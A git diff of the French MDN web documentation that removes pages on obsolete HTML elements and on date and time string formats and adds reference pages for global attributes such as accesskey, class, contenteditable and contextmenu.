{{htmlattrdef("radiogroup")}}
-
Cet attribut indique le nom du groupe de commandes auquel appartient la commande lorsque l'attribut type vaut radio le groupe sera activé lorsque la commande sera activée. Cet attribut ne doit pas être utilisé lorsque l'attribut type ne vaut pas radio.
-
{{htmlattrdef("type")}}
-
Cet attribut à valeur contrainte indique le type de commande. On peut utiliser une des trois valeurs . -
    -
  • -

    command (le type par défaut) indique une commande normale.

    -
    • -
  • -

    checkbox indique que la commande peut être activée grâce à une case à cocher.

    -
    • -
  • -

    radio indique que la commande peut être activée grâce à un bouton radio.

    -
    • -
-
-
- -

Examples

- -

HTML

- -
<command type="command" label="Save"
-  icon="icons/save.png" onclick="save()">
-
- -

Résultat

- -

{{EmbedLiveSample("Exemples","200","100")}}

- -

Résumé technique

- - - - - - - - - - - - - - - - - - - - - - - - -
Catégories de contenuContenu de flux, contenu phrasé, contenu de méta-données.
Contenu autoriséAucun, cet élément est un élément vide.
Omission de balisesLa balise de début est obligatoire et la balise de fin est interdite car c'est un élément vide.
Éléments parents autorisés{{HTMLElement("colgroup")}} uniquement bien que celui-ci puisse être défini implicitement car sa balise de début n'est pas obligatoire. L'élément {{HTMLElement("colgroup")}} ne doit pas avoir d'élément fils {{HTMLElement("span")}}.
Interface DOM{{domxref("HTMLCommandElement")}}
- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('HTML WHATWG', '#commands')}}{{Spec2('HTML WHATWG')}} 
{{SpecName('HTML5 W3C', 'semantics.html#the-command-element', '<command>')}}{{Spec2('HTML5 W3C')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("html.elements.command")}}

diff --git a/files/fr/web/html/element/element/index.html b/files/fr/web/html/element/element/index.html deleted file mode 100644 index 7b2a731677..0000000000 --- a/files/fr/web/html/element/element/index.html +++ /dev/null @@ -1,73 +0,0 @@ ---- -title: ' : l''élément pour les éléments personnalisés (obsolète)' -slug: Web/HTML/Element/element -tags: - - Element - - HTML - - Obsolete - - Reference - - Web -translation_of: Web/HTML/Element/element ---- -
{{HTMLRef}}{{obsolete_header}}
- -

L'élément HTML <element> était conçu pour être utilisé afin de définir des éléments DOM personnalisés, il a été retiré de la spécification. Il a été retiré en faveur d'outils JavaScript qui permettront de créer de nouveaux éléments personnalisés, par exemple avec les Web Components.

- -
-

Attention ! Cet élément a été retiré de la spécification. Pour plus d'informations, se référer à cette note.

-
- -

Attributs

- -

On peut employer les attributs universels sur cet élément.

- -

Résumé technique

- - - - - - - - - - - - - - - - - - - - - - - - -
Catégories de contenuContenu transparent.
Contenu autoriséIndéfini.
Omission de balises{{no_tag_omission}}
Éléments parents autorisésIndéfini.
Interface DOM{{domxref("HTMLElement")}}
- -

Spécifications

- -

Cet élément faisait actuellement partie d'un brouillon de spécification, Custom Elements mais a été retiré.

- -

Compatibilité des navigateurs

- - - -

{{Compat("html.elements.element")}}

- -

Voir aussi

- -
    -
  • Les éléments HTML liés aux composants web (web components) : - -
      -
    • {{HTMLElement("content")}}
      • -
    • {{HTMLElement("decorator")}}
      • -
    • {{HTMLElement("shadow")}}
      • -
    • {{HTMLElement("template")}}
      • -
    -
    • -
diff --git a/files/fr/web/html/formats_date_heure_html/index.html b/files/fr/web/html/formats_date_heure_html/index.html deleted file mode 100644 index f9da6c5f01..0000000000 --- a/files/fr/web/html/formats_date_heure_html/index.html +++ /dev/null @@ -1,457 +0,0 @@ ---- -title: Formats de date et d'heure utilisés en HTML -slug: Web/HTML/Formats_date_heure_HTML -tags: - - Date - - Guide - - HTML - - Time -translation_of: Web/HTML/Date_and_time_formats ---- -
{{HTMLRef}}
- -

Certains éléments HTML manipulent des valeurs temporelles pour des dates ou des heures. Les formats utilisés pour les chaînes de caractères qui définissent ces valeurs sont décrits dans cet article. Les éléments qui utilisent ces données sont notamment les éléments {{HTMLElement("input")}} qui permettent de choisir une date, une heure ou les deux, les éléments {{HTMLElement("ins")}} et {{HTMLElement("del")}} dont l'attribut {{htmlattrxref("datetime", "ins")}} indique la date (ou la date et l'heure) à laquelle l'ajout ou la suppression de contenu a eu lieu.

- -

Pour les éléments <input>, voici les différents type (cf. {{htmlattrxref("type", "input")}}) pour lesquels l'attribut {{htmlattrxref("value")}} contient une chaîne de caractères représentant une date ou une heure :

- -
- -
- -

Exemples

- -

Avant de détailler plus, voyons quelques exemples de chaînes de caractères utilisées en HTML et qui représentent des valeurs temporelles.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Exemple de chaînes de caractères utilisées en HTML pour représenter des dates et des heures
Chaîne de caractèresDate/heure
2005-06-077 juin 2005[détails]
08:4508h45m (le matin)[détails]
08:45:2508h45m25s[détails]
0033-08-04T03:4003h40 (du matin), le 04 août 33[détails]
1977-04-01T14:00:3030 secondes après 14h00, le premier avril 1977[détails]
1901-01-01T00:00ZMinuit, UTC, le 1er janvier 1901[détails]
1901-01-01T00:00:01-04:00Minuit passé d'une seconde sur l'heure de l'Est (EST), le 1er janvier 1901[détails]
- -

Notions essentielles

- -

Avant de s'intéresser aux différents formats pour la représentation textuelle des valeurs temporelles en HTML, commençons par décrire comment ces valeurs sont définies formellement. HTML utilise une variation du standard {{interwiki("wikipedia", "ISO 8601")}} pour les chaînes de caractères représentant les dates et les heures. Il est toujours utile de vérifier que le format utilisé est compatible avec HTML car la spécification HTML utilise des algorithmes pour analyser ces chaînes qui sont plus précis que le standard ISO 8601 (il peut donc y avoir quelques fines différences).

- -

Jeu de caractères

- -

En HTML, les chaînes qui représentent des dates et des heures manipulent uniquement des caractères {{interwiki("wikipedia", "ASCII")}}.

- -

Numérotation des années

- -

La spécification HTML indique que les années doivent être exprimées selon le calendrier grégorien. Bien que les interfaces utilisateur permettent éventuellement de saisir des dates grâce à d'autres calendriers, la valeur sous-jacente est toujours représentée à l'aide du calendrier grégorien.

- -

Bien que le calendrier grégorien ait été créé en 1582 afin de remplacer le calendrier julien, la notation grégorienne est « étendue » en HTML jusqu'à 1 après J.C. Aussi, si vous manipulez des dates antérieures à 1582, assurez-vous qu'elles soient bien exprimées selon le calendrier grégorien.

- -

En HTML, les années sont toujours écrites avec au moins 4 chiffres. Aussi, les années antérieures à l'an 1000 sont complétées avec des zéros : l'an 72 est donc écrit 0072. Les années antérieures à l'an 1 ne sont pas prises en charge par HTML.

- -

Une année est normalement constituée de 365 jours, sauf pendant les {{anch("Années bissextiles", "années bissextiles")}}.

- -

Années bissextiles

- -

Une année bissextile est une année dont le numéro est:

- -
    -
  • Divisible par 400 ou,
    • -
  • Divisible par 4 mais pas par 100
    • -
- -

Bien qu'une année calendaire s'étende sur 365 jours, la Terre met environ 365,2422 jours avant d'effectuer une orbite complète autour du soleil. Les années bissextiles permettent d'ajuster le calendrier et de le synchroniser avec la position de la planète le long de l'orbite. Ajouter un jour tous les 4 ans (environ) permet d'avoir une année moyenne longue de 365,25 jours, ce qui est relativement correct.

- -

En ajustant l'algorithme avec les contraintes ci-avant (divisible par 400 ou divisible par 4 mais pas par 100), on s'approche plus précisement du nombre correct de jours (365,2425). Des secondes intercalaires sont parfois ajoutées au calendrier afin de compenser les trois millièmes restant et le ralentissement naturel de la rotation de la Terre.

- -

Le deuxième mois de l'année (février) possède 28 jours pendant les années non-bissextiles et 29 jours pendant les années bissextiles.

- -

Mois de l'année

- -

Une année comporte 12 mois, numérotés de 1 à 12. Les valeurs des mois sont toujours représentées par une chaîne de caractères se composant de deux chiffres : des valeurs entre 01 et 12. Voir le tableau ci-après pour les numéros des mois et le nombre de jours correspondant.

- -

Jours du mois

- -

Les mois numérotés 1, 3, 5, 7, 8, 10 et 12 possèdent 31 jours. Les mois 4, 6, 9 et 11 possèdent 30 jours. Le deuxième mois, février, possède 28 jours sauf pendant les années bissextiles où il possède 29 jours. Le tableau ci-après détaille les mois et leurs noms, ainsi que leur durée en jours.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Les mois de l'année et leur durée en jours
Numéro du moisNom (en français))Durée du mois (en nombre de jours)
01Janvier31
02Février28 (29 pour les années bissextiles)
03Mars31
04Avril30
05Mai31
06Juin30
07Juillet31
o8Août31
09Septembre30
10Octobre31
11Novembre30
12Décembre31
- -

Représentation des semaines

- -

Une chaîne de caractères représentant une semaine correspondra à une semaine d'une année donnée. Aussi, une chaîne de caractères valide pour représenter une semaine se compose de 4 chiffres représentant l'année, suivis d'un tiret ("-" ou U+002D), suivi de la lettre majuscule "W" (U+0057), suivie d'un numéro de semaine sur deux chiffres.

- -

Le numéro de la semaine est une chaîne de caractères, avec deux chiffres, entre 01 et 53. Chaque semaine commence un lundi et se termine un dimanche. Il est ainsi possible que les premiers jours de janvier fassent partie de la dernière semaine de l'année précédente et que les derniers jours fassent partie de la première semaine de l'année suivante. La première semaine de l'année est celle qui contient le premier jeudi de l'année. Ainsi, le premier jeudi de 1953 était le 1er janvier et la semaine contenant ce jour est donc considérée la première semaine de l'année. Ainsi, le 30 décembre 1952 appartient à la semaine 1953-W01.

- -

Une année aura 53 semaines si :

- -
    -
  • Le premier jour de l'année calendaire (le premier janvier) est un jeudi ou
    • -
  • Le premier jour de l'année calendaire (le premier janvier) est un mercredi et que l'année est une {{anch("Années bissextiles", "année bissextile")}}.
    • -
- -

Les autres années contiennent 52 semaines.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Exemples de chaînes de caractères valides pour représenter des semaines
Chaîne de caractèresSemaine et année (intervalle de dates)
2001-W37Semaine 37 de l'année 2001 (entre le 10 et le 16 septembre 2001)
1953-W01Semaine 1 de l'année 1953 (entre le 29 décembre 1952 et le 4 janvier 1953)
1948-W53Semaine 53 de l'année 1948 (entre le 27 décembre 1948 et le 2 janvier 1949)
1949-W01Semaine 1 de l'année 1949 (entre le 3 janvier et le 9 janvier 1949)
0531-W16Semaine 16 de l'année 531 (entre le 13 avril et le 19 avril 531)
0042-W04Semaine 4 de l'année 42 (entre le 21 et le 27 janvier 42)
- -

On notera que les deux composantes pour l'année et pour la semaine sont complétées avec des zéros à gauche afin que l'année soit exprimée sur 4 chiffres et que la semaine soit exprimée sur 2 chiffres.

- -

Représentation des mois

- -

Une chaîne de caractères pour un mois représente un mois d'une année donnée (plutôt qu'un mois « générique »). Aussi, on ne représentera pas simplement le mois de janvier mais le mois de janvier de l'année 1972.

- -

Une chaîne de caractères représentant un mois est valide si elle commence par un numéro d'année valide (une chaîne de caractères composée de quatre chiffres), suivie d'un tiret ("-", ou U+002D), suivi d'un nombre sur deux chiffres où 01 représente janvier et où 12 représente décembre.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Exemples de chaînes de caractères valides pour la représentation d'un mois
Chaîne de caractèresLe mois et l'année
17310-09Le mois de septembre de l'année 17310
2019-01Le mois de janvier de l'année 2019
1993-11Le mois de novembre de l'année 1993
0571-04Le mois d'avril de l'année 571
0001-07Le mois de juillet de l'an 1
- -

On notera que les années sont exprimées sur au moins 4 chiffres et que les années antérieures à 1000 sont préfixées de 0.

- -

Représentation des dates

- -

Une chaîne de caractères représentant une date est valide si elle contient : une année (cf. ci-avant) suivie d'un tiret, suivi d'un mois, suivi d'un tiret ("-" ou U+002D) suivi du numéro du jour dans le mois sur deux chiffres.

- - - - - - - - - - - - - - - - - - - - - - - - - - - -
Exemples de chaînes de caractères valides pour représenter des dates
Chaîne de caractèresDate complète
1993-11-011er novembre 1993
1066-10-1414 octobre 1066
0571-04-2222 avril 571
0062-02-055 février 62
- -

Représentation des heures

- -

Une chaîne de caractères représentant une heure peut décrire différentes précisions : minute, seconde ou milliseconde. Il n'est pas possible d'indiquer uniquement l'heure ou les minutes. Une chaîne valide se compose a minima d'une valeur sur deux chiffres représentant une heure, suivi de deux-points (":", U+003A) puis d'une valeur sur deux chiffres exprimant les minutes. La valeur des minutes peut ensuite être suivie d'un autre deux-points puis d'une valeur sur deux chiffres pour les secondes. Il est possible d'indiquer les millisecondes en ajoutant un point (".", U+002E) après les secondes, suivi d'une valeur sur un, deux ou trois chiffres.

- -

Voici quelques règles supplémentaires :

- -
    -
  • L'heure est toujours exprimée selon une horloge sur 24 heures où 00 correspond à minuit et où 23 correspond à onze heures du soir. Aucune valeur en dehors de l'intervalle 00–23 n'est autorisée.
    • -
  • La valeur représentant les minutes doit être composée de deux chiffres et être située entre 00 et 59. Les valeurs en dehors de cet intervalle ne sont pas autorisées.
    • -
  • Si les secondes ne sont pas exprimées, il ne faut pas que la valeur se termine par un deux-points (après les minutes).
    • -
  • Si les secondes sont exprimées, leur nombre doit être entre 00 et 59. Il n'est pas possible d'indiquer des secondes intercalaires à l'aide de valeurs telles que 60 ou 61.
    • -
  • Si le nombre de secondes est indiqué et que c'est un entier, il ne doit pas être suivi d'un point.
    • -
  • Si les millisecondes sont indiquées, la valeur correspondante peut être composée d'un à trois chiffres.
    • -
- - - - - - - - - - - - - - - - - - - - - - - -
Exemples de chaînes de caractères valides pour exprimer une heure
Chaîne de caractèresHeure
00:00:30.75Minuit passé de 30 secondes et 750 millisecondes
12:15Midi passé de quinze minutes
13:44:2513 heures 44 et 25 secondes
- -

Représentation des dates et heures locales

- -

Une chaîne de caractères datetime-local se compose d'une chaîne de caractères représentant une date, suivie de la lettre "T" ou d'une espace puis d'une chaîne de caractères représentant une heure. La représentation ne contient aucune information quant au fuseau horaire dont il est question et on présume que la valeur temporelle indiquée est relative au fuseau horaire de l'utilisateur.

- -

Lorsqu'on définit la valeur de l'attribut {{htmlattrxref("value", "input")}} d'un champ datetime-local, la chaîne de caractères est normalisée. Les formes normalisées utilisent toujours la lettre T comme séparateur entre la date et l'heure. De plus, les formes normalisées utilisent toujours la forme la plus courte pour exprimer l'heure (les secondes sont omises si leur valeur est :00).

- - - - - - - - - - - - - - - - - - - - - - - - - - - -
Exemples de chaînes de caractères valides pour l'expression de dates/heures
Chaîne de caractèresVersion normaliséeDate et heure correspondantes
1986-01-28T11:38:00.011986-01-28T11:38:00.0128 janvier 1986 à 11 heures et 38 minutes passées de 10 millisecondes
1986-01-28 11:38:00.0101986-01-28T11:38:00.01128 janvier 1986 à 11 heures et 38 minutes passées de 10 millisecondes
0170-07-31T22:00:000170-07-31T22:00231 juillet 170 à 22 heures
- -
    -
  1. On notera qu'après la normalisation, on obtient la même chaîne que sur l'exemple précédent : l'espace séparateur a été remplacé par un "T" et le zéro de terminaison a été supprimé pour raccourcir la chaîne de l'heure.
    2. -
  2. On notera que la forme normalisée de cette date ne contient pas l'expression des secondes.
    3. -
- -

Représentation des dates et heures universelles

- -

Une valeur de date/heure universelle exprime la date et l'heure mais aussi le fuseau horaire de l'instant. Une chaîne de caractères représentant une telle valeur commence de la même façon qu'une chaîne de caractère représentant une date/heure locale, suivie d'une chaîne de caractères indiquant le décalage horaire.

- -

Chaîne de caractères exprimant le décalage horaire

- -

La chaîne de caractères qui décrit le décalage horaire contient un décalage positif d'heures et de minutes, relativement à un fuseau de base. Il existe deux points de référence qui sont très proches sans être identiques :

- -
    -
  • Pour les dates situées après la création du temps coordonné universel (UTC, {{interwiki("wikipedia", "Coordinated Universal Time")}}) au début des années 60, le point de référence est indiqué avec Z et le décalage indique le décalage d'un fuseau horaire par rapport au méridien situé à la longitude 0° (méridien de Greenwich).
    • -
  • Pour les dates antérieures à UTC, le point de référence est exprimé en {{interwiki("wikipedia", "UT1")}}, qui correspond au temps solaire au méridien de longitude 0°.
    • -
- -

La chaîne de caractères indiquant le décalage est directement ajoutée après la valeur pour la date et l'heure. Si la date et l'heure sont déjà exprimées relativement à UTC, on pourra simplement suffixer "Z", sinon, on construira le complément de la façon suivante :

- -
    -
  1. Un caractère indiquant le signe du décalage : le plus ("+" ou U+002B) pour les fuseaux situés à l'est du méridien ou le moins ("-" ou U+002D) pour les fuseaux situés à l'ouest.
    2. -
  2. Deux chiffres indiquant le nombre d'heures de décalage par rapport au méridien. Cette valeur doit être comprise entre 00 et 23.
    3. -
  3. Deux-points (":") (nécessaires uniquement si le décalage contient des minutes)
    4. -
  4. Deux chiffres indiquant les minutes de décalage. Cette valeur doit être comprise entre 00 et 59.
    5. -
- -

Bien que ces règles permettent d'exprimer des fuseaux horaires entre -23:59 et +23:59, l'intervalle actuel des décalages horaires est -12:00 à +14:00 et il n'y a pas de fuseau horaire pour lequel le décalage en minutes est différent de 00, 30 ou 45. Cela peut en théorie évoluer à tout moment car les pays sont libres de modifier leur fuseau horaire quand ils le souhaitent.

- - - - - - - - - - - - - - - - - - - - - - - - - - - -
Exemples de chaînes de caractères valides pour l'expression de dates/heures universelles
Chaîne de caractèresDate/heure universelleDate/heure sur le méridien solaire
2005-06-07T00:00Z7 juin 2005 à minuit UTC7 juin 2005 à minuit
1789-08-22T12:30:00.1-04:0022 août 1789 à midi trente (passé d'un dixième de seconde) selon l'heure avancée de l'Est (Eastern Daylight Time (EDT))22 août 1789 à 16 heures trente passées d'un dixième de seconde
3755-01-01 00:00+10:001er janvier 3755 à minuit pour le fuseau AEST (Australian Eastern Standard Time)31 décembre 3754 à 14h
- -

Voir aussi

- - diff --git a/files/fr/web/html/global_attributes/accesskey/index.html b/files/fr/web/html/global_attributes/accesskey/index.html new file mode 100644 index 0000000000..e53f876ed8 --- /dev/null +++ b/files/fr/web/html/global_attributes/accesskey/index.html @@ -0,0 +1,143 @@ +--- +title: accesskey +slug: Web/HTML/Attributs_universels/accesskey +tags: + - Attribut + - Attribut universel + - HTML + - Reference +translation_of: Web/HTML/Global_attributes/accesskey +--- +
{{HTMLSidebar("Global_attributes")}}
+ +
L'attribut universel accesskey fournit une indication afin de générer un raccourci clavier pour l'élément courant. La valeur de cet attribut est une liste de caractères (un caractère étant ici un seul point de code Unicode) séparés par des espaces. Le navigateur utilisera le premier caractère qui est disponible selon la disposition du clavier utilisée.
+ +
{{EmbedInteractiveExample("pages/tabbed/attribute-accesskey.html","tabbed-shorter")}}
+ + + +

La combinaison de touches utilisée pour le raccourci clavier dépend du navigateur et du système d'exploitation utilisés.

+ +
+

Note : La spécification WHATWG indique qu'il est possible d'indiquer des caractères séparés par plusieurs espaces, auquel cas le navigateur considèrera le premier qu'il prend en charge. Toutefois, cela ne fonctionne pas dans la plupart des navigateurs. Pour IE/Edge, c'est la première valeur prise en charge qui sera utilisée si celle-ci n'entre pas en conflit avec d'autres commandes.

+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
WindowsLinuxMac
FirefoxAlt + Shift + touche +

Pour Firefox 57 et les versions ultérieures : Control + Option + touche ou Control + Alt + touche
+ Pour Firefox 14 et les versions ultérieures : Control + Alt + touche
+ Pour Firefox 13 et les versions antérieures : Control + touche

+
EdgeAlt + toucheN/A
Internet ExplorerAlt + toucheN/A
Google ChromeAlt + toucheControl + Alt + touche
SafariAlt + toucheN/AControl + Alt + touche
Opera 15+Alt + keyControl + Alt + key
Opera 12Shift + Esc ouvre une liste de contenu accessible via la touche accesskey, on peut alors ensuite choisir l'élément voulu grâce la touche touche
+ +

Accessibilité

+ +

Au-delà de la prise en charge limitée des navigateurs, accesskey pose plusieurs problèmes :

+ +
    +
  • Un raccourci défini avec accesskey peut rentrer en conflit avec un raccourci du système ou du navigateur, voire avec un raccourci d'un outil d'assistance. Les raccourcis pouvant être différents entre les navigateurs, systèmes d'exploitation et les outils, il n'est pas certain qu'une combinaison qui fonctionne dans un cas puisse fonctionner partout.
    • +
  • Certains raccourcis définis avec accesskey peuvent ne pas être utilisés avec certains claviers, notamment lorsqu'on doit prendre en compte l'internationalisation.
    • +
  • Les raccourcis définis avec accesskey qui utilisent un nombre peuvent être source de confusion pour les personnes souffrant de problèmes cognitifs si le nombre n'a pas d'association logique avec la fonctionnalité déclenchée par le raccourci.
    • +
  • Il est nécessaire d'informer l'utilisateur qu'un raccourci est présent afin que celui-ci puisse être conscient de cette fonctionnalité. Sans méthode d'information, l'utilisateur pourra accidentellement déclencher les raccourcis définis avec accesskey.
    • +
+ +

Étant donné ces raisons, il est généralement conseillé de ne pas utiliser accesskey pour les sites web et applications généralistes.

+ + + +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('HTML5.2', "editing.html#the-accesskey-attribute", "accesskey")}}{{Spec2('HTML5.2')}}Un comportement plus réaliste est défini et correspond à ce qui est réellement implémenté.
{{SpecName('HTML WHATWG', "interaction.html#the-accesskey-attribute", "accesskey")}}{{Spec2('HTML WHATWG')}}Aucune modification depuis {{SpecName('HTML5.1')}}
{{SpecName('HTML5.1', "editing.html#the-accesskey-attribute", "accesskey")}}{{Spec2('HTML5.1')}}Aucune modification depuis {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5 W3C', "editing.html#the-accesskey-attribute", "accesskey")}}{{Spec2('HTML5 W3C')}}Plusieurs caractères peuvent être définis via cet attribut depuis {{SpecName('HTML4.01')}}. Cet attribut peut désormais être défini sur n'importe quel élément.
{{SpecName('HTML4.01', "interact/forms.html#h-17.11.2", "accesskey")}}{{Spec2('HTML4.01')}}L'attribut est uniquement pris en charge par {{HTMLElement("a")}}, {{HTMLElement("area")}}, {{HTMLElement("button")}}, {{HTMLElement("input")}}, {{HTMLElement("label")}}, {{HTMLElement("legend")}} et {{HTMLElement("textarea")}}.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("html.global_attributes.accesskey")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/html/global_attributes/autocapitalize/index.html b/files/fr/web/html/global_attributes/autocapitalize/index.html new file mode 100644 index 0000000000..206412edde --- /dev/null +++ b/files/fr/web/html/global_attributes/autocapitalize/index.html @@ -0,0 +1,49 @@ +--- +title: autocapitalize +slug: Web/HTML/Attributs_universels/autocapitalize +tags: + - Attribut + - Attribut universel + - HTML + - Reference +translation_of: Web/HTML/Global_attributes/autocapitalize +--- +
{{HTMLSidebar("Global_attributes")}}
+ +

L'attribut universel autocapitalize est un attribut à valeurs contraintes qui contrôle la façon dont le texte saisi est automatiquement converti en majuscules ou non. Voici les valeurs autorisées pour cet attribut :

+ +
    +
  • off ou none : aucune transformation automatique n'est appliquée (par défaut, les lettres sont écrites en minuscules)
    • +
  • on ou sentences : la première lettre de chaque phrase est automatiquement écrite en majuscule, les autres lettres ne sont pas transformées (elles sont par défaut en minuscules)
    • +
  • words : la première lettre de chaque mot est automatiquement écrite en majuscule, les autres lettres ne sont pas transformées (elles sont par défaut en minuscules)
    • +
  • characters : toutes les lettres sont converties en majuscules.
    • +
+ +

L'attribut autocapitalize n'a aucun impact lorsqu'on utilise un clavier physique. Il modifie la saisie pour les autres moyens de saisie tels que les claviers virtuels ou les moyens de saisie orale. Le but de cet attribut est d'aider de tels moyens à faciliter la saisie de l'utilisateur. Par défaut, un tel moyen de saisie utilisera une majuscule pour chaque début de phrase, modifier l'attribut autocapitalize permet aux auteurs de modifier ce comportement selon les différents éléments.

+ +

L'attribut autocapitalize n'entraînera pas de mise en majuscule automatique pour un élément {{HTMLElement("input")}} dont l'attribut {{htmlattrxref("type", "input")}} vaut url, email ou password.

+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('HTML WHATWG', "interaction.html#autocapitalization", "autocapitalize")}}{{Spec2('HTML WHATWG')}} 
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("html.global_attributes.autocapitalize")}}

diff --git a/files/fr/web/html/global_attributes/class/index.html b/files/fr/web/html/global_attributes/class/index.html new file mode 100644 index 0000000000..6204b6a173 --- /dev/null +++ b/files/fr/web/html/global_attributes/class/index.html @@ -0,0 +1,63 @@ +--- +title: class +slug: Web/HTML/Attributs_universels/class +tags: + - Attribut + - Attribut universel + - HTML + - Reference +translation_of: Web/HTML/Global_attributes/class +--- +
{{HTMLSidebar("Global_attributes")}}
+ +

L'attribut universel class indique une liste de classes associées à l'élément courant. Les classes permettent de manipuler les éléments, via CSS ou JavaScript en utilisant les sélecteurs de classe ou des fonctions telles que {{domxref("document.getElementsByClassName")}}.

+ +
{{EmbedInteractiveExample("pages/tabbed/attribute-class.html","tabbed-standard")}}
+ + + +

Bien que la spécification ne précise aucune contrainte quant aux noms utilisés pour les classes, une bonne pratique consiste à utiliser des noms qui traduisent la sémantique de l'élément plutôt que la mise en forme. Ainsi, les noms sémantiques restent pertinents même lorsque la présentation de la page évolue.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('HTML WHATWG', "dom.html#classes", "class")}}{{Spec2('HTML WHATWG')}}Aucune modification depuis {{SpecName('HTML5.1')}}.
{{SpecName('HTML5.1', "dom.html#element-attrdef-global-class", "class")}}{{Spec2('HTML5.1')}}État selon {{SpecName('HTML WHATWG')}}. Aucune modification depuis {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5 W3C', "dom.html#classes", "class")}}{{Spec2('HTML5 W3C')}}État selon {{SpecName('HTML WHATWG')}}. class est désormas sun attribut universel depuis {{SpecName('HTML4.01')}},.
{{SpecName('HTML4.01', "struct/global.html#h-7.5.2", "class")}}{{Spec2('HTML4.01')}}Cet attribut est pris en charge sur tous les éléments à l'exception de {{HTMLElement("base")}}, {{HTMLElement("basefont")}}, {{HTMLElement("head")}}, {{HTMLElement("html")}}, {{HTMLElement("meta")}}, {{HTMLElement("param")}}, {{HTMLElement("script")}}, {{HTMLElement("style")}} et {{HTMLElement("title")}}.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("html.global_attributes.class")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/html/global_attributes/contenteditable/index.html b/files/fr/web/html/global_attributes/contenteditable/index.html new file mode 100644 index 0000000000..1f805fc490 --- /dev/null +++ b/files/fr/web/html/global_attributes/contenteditable/index.html @@ -0,0 +1,85 @@ +--- +title: contenteditable +slug: Web/HTML/Attributs_universels/contenteditable +tags: + - Attribut + - Attribut universel + - HTML + - Reference +translation_of: Web/HTML/Global_attributes/contenteditable +--- +
{{HTMLSidebar("Global_attributes")}}
+ +

L'attribut universel contenteditable est un attribut à valeur contrainte qui indique si l'élément courant doit pouvoir être édité par l'utilisateur ou non. Lorsque c'est le cas, des éléments de l'interface du navigateur (ou de l'agent utilisateur) sont modifiés afin de permettre l'édition.

+ +
{{EmbedInteractiveExample("pages/tabbed/attribute-contenteditable.html","tabbed-shorter")}}
+ + + +

Les valeurs autorisées pour cet attribut sont :

+ +
    +
  • true ou la chaîne de caractères vide qui indiquent que l'élément est éditable
    • +
  • false qui indique que l'élément ne peut pas être édité.
    • +
+ +

Si cet attribut n'est pas défini, sa valeur est héritée depuis son élément parent.

+ +

Cet attribut n'est pas un attribut booléen ! Cela signifie qu'une valeur explicite est nécessaire pour son fonctionnement. Toute forme telle que <label contenteditable>Exemple</label> n'est pas autorisée. La version correcte sera <label contenteditable="true">Exemple</label>.

+ +

Il est possible de modifier la couleur du symbole d'insertion grâce à la propriété CSS {{cssxref("caret-color")}}.

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName("HTML Editing", "contentEditable.html#contenteditable", "contenteditable")}}{{Spec2("HTML Editing")}}Ajout de "events", "caret", "typing", "plaintext-only".
{{SpecName("HTML WHATWG", "editing.html#attr-contenteditable", "contenteditable")}}{{Spec2("HTML WHATWG")}}Aucune modification depuis la dernière dérivation, {{SpecName("HTML5.2")}}
{{SpecName("HTML5.2", "editing.html#making-document-regions-editable-the-contenteditable-content-attribute", "contenteditable")}}{{Spec2("HTML5.2")}}Dérivation de {{SpecName("HTML WHATWG")}}, aucune modification depuis {{SpecName("HTML5.1")}}
{{SpecName("HTML5.1", "editing.html#making-document-regions-editable-the-contenteditable-content-attribute", "contenteditable")}}{{Spec2("HTML5.1")}}Dérivation de {{SpecName("HTML WHATWG")}}, aucune modification depuis {{SpecName("HTML5 W3C")}}
{{SpecName("HTML5 W3C", "editing.html#attr-contenteditable", "contenteditable")}}{{Spec2("HTML5 W3C")}}Dérivation de {{SpecName("HTML WHATWG")}}, définition initiale.
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("html.global_attributes.contenteditable")}}

+ +

Voir aussi

+ + diff --git a/files/fr/web/html/global_attributes/contextmenu/index.html b/files/fr/web/html/global_attributes/contextmenu/index.html new file mode 100644 index 0000000000..187be1f1cc --- /dev/null +++ b/files/fr/web/html/global_attributes/contextmenu/index.html @@ -0,0 +1,118 @@ +--- +title: contextmenu +slug: Web/HTML/Attributs_universels/contextmenu +tags: + - Attribut + - Attribut universel + - HTML + - Reference +translation_of: Web/HTML/Global_attributes/contextmenu +--- +
{{HTMLSidebar("Global_attributes")}}{{obsolete_header}}
+ +
+

Attention ! Cet attribut est obsolète et sera retiré de l'ensemble des navigateurs.

+
+ +

L'attribut universel contextmenu correspond à l'{{htmlattrxref("id","","identifiant",1)}} d'un élément {{HTMLElement("menu")}} qu'on souhaite utiliser comme menu contextuel pour l'élément courant.

+ +

Un menu contextuel est un menu qui apparaît suite à une action utilisateur (par exemple un clic-droit). HTML5 permet désormais de personnaliser ce menu.

+ +
+

Exemples

+ +

Voici quelques exemples de personnalisations de menus. Le code HTML pourra être :

+ +

HTML

+ +
<body contextmenu="share">
+  <menu type="context" id="share">
+    <menu label="Partager">
+      <menuitem label="Twitter" onclick="shareViaTwitter()"></menuitem>
+      <menuitem label="Facebook" onclick="shareViaFacebook()"></menuitem>
+    </menu>
+  </menu>
+  <ol>
+    <li>
+      Dans cet exemple, vous pouvez partager un lien vers
+      cette page sur Facebook et/ou Twitter via le groupe Partager
+      du menu contextuel
+    </li>
